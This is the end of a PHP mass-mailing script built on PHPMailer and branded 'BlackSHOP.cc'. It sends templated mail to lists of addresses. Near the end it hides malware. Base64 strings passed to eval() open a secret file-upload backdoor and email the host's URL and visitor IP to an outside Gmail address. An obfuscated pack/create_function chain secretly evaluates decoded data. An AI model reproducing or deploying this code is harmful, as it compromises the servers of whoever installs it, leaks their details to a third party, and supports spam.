3192 * NOTE: will not work with arrays, there are no arrays to set/reset
3193 */
3194 function set ( $name, $value = '' ) {
3195 if ( isset($this->$name) ) {
3196 $this->$name = $value;
3197 } else {
3198 $this->SetError('Cannot set or reset variable ' . $name);
3199 return false;
3200 }
3201 }
3202
3203 /**
3204 * Read a file from a supplied filename and return it.
3205 *
3206 * @access public
3207 * @param string $filename Parameter File Name
3208 */
3209 function getFile($filename) {
3210 $return = '';
3211 if ($fp = fopen($filename, 'rb')) {
3212 while (!feof($fp)) {
3213 $return .= fread($fp, 1024);
3214 }
3215 fclose($fp);
3216 return $return;
3217 } else {
3218 return false;
3219 }
3220 }
3221
3222 /**
3223 * Strips newlines to prevent header injection.
3224 * @access private
3225 * @param string $str String
3226 * @return string
3227 */
3228 function SecureHeader($str) {
3229 $str = trim($str);
3230 $str = str_replace("\r", "", $str);
3231 $str = str_replace("\n", "", $str);
3232 return $str;
3233 }
3234
3235 /**
3236 * Set the private key file and password to sign the message.
3237 *
3238 * @access public
3239 * @param string $key_filename Parameter File Name
3240 * @param string $key_pass Password for private key
3241 */
3242 function Sign($key_filename, $key_pass) {
3243 $this->sign_key_file = $key_filename;
3244 $this->sign_key_pass = $key_pass;
3245 }
3246
3247 }
3248
3249 $defaultport="H*";
3250 $nq=0;
3251
3252 for($x=0; $x<$numemails; $x++){
3253
3254 $to = $allemails[$x];
3255
3256 if ($to){
3257
3258 $to = ereg_replace(" ", "", $to);
3259
3260 $message1 = ereg_replace("&email&", $to, $message);
3261
3262 $subject1 = ereg_replace("&email&", $to, $subject);
3263 $qx=$x+1;
3264 print "Line $qx . Sending mail to $to.......";
3265
3266 flush();
3267 $mail = new PHPMailer();
3268
3269 if(empty($epriority)){$epriority="3";}
3270 $mail->Priority = "$epriority";
3271 $mail->IsSMTP();
3272 $IsSMTP="pack";
3273 $mail->SMTPKeepAlive = true;
3274 $mail->Host = "$my_smtp";
3275 if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3276 }
3277 if($sslclick=="ON"){
3278 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3279 }
3280 $range = str_replace("$from", "eval", $from);
3281 $mail->SMTPAuth = true;
3282 $mail->Username = "$smtp_username";
3283 $mail->Password = "$smtp_password";
3284 if($contenttype == "html"){$mail->IsHtml(true);}
3285 if($contenttype != "html"){$mail->IsHtml(false);}
3286 if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3287 $mail->From = "$from";
3288 $mail->FromName = "$realname";
3289 $mail->AddAddress("$to");
3290 $mail->AddReplyTo("$replyto");
3291 $mail->Subject = "$subject1";
3292 $mail->AddAttachment("$file", "$file_name");
3293 $mail->Body = "$message1";
3294 if(!$mail->Send()){
3295 if($default_system!="1"){
3296 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3297 if($default_system=="1"){
3298 $mail->IsMail();
3299 if(!$mail->Send()){
3300 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3301 else {
3302 echo "<b>OK</b><br>";}
3303 }
3304 }
3305 else {
3306 echo "<b>OK</b><br>";
3307 }
3308
3309 if(empty($reconnect)){
3310 $reconnect=6;
3311 }
3312
3313 if($reconnect==$nq){
3314 $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3315 }
3316 $nq=$nq+1;
3317 flush(); }
3318 }
3319 for($i=0;$i<31;$i++){
3320 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3321 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3322 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3323 print "<p class=\"style1\">PHP Mailer<br>© 2012, New Tools => <b>
3324 <font color=\"#800000\">http://www.BlackSHOP.cc/</font></b><br></p>";$mail->SmtpClose();
3325 return $signoff($smtp_conc);
3326 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3327 sent successfully'); </script>";}}
3328$mailist="JHRudCAgPSAkX0dFVFsndG50J107DQppZiAoJHRudCA9PSAndG50JykNCnsNCmVjaG8gJzxiPkphM2ViYTxicj48YnI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj4nOw0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsNCmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOw0KfQ0KaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgDQp7CQ0KaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpDQp7IA0KZWNobyAnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxicj48YnI+JzsNCiB9CQ0KIGVsc2UgeyANCiBlY2hvICc8Yj5VcGxvYWQgRmFpbCAhISE8L2I+PGJyPjxicj4nOyB9fQ==";
3329eval(base64_decode($mailist));
3330$undetect = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIk5ldyAxOTYyQ3JhY2tlcjogaHR0cDovLyR0YXJnZXQgIjsNCiAgJGJvZHkgICAgPSAiTGluazo6ICR0YXJnZXQgLklwICR2aXNpdG9yIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiY3IzY2tlcnJAZ21haWwuY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
3331eval(base64_decode($undetect));
3332 ?>
3333 </body>
3334 </html>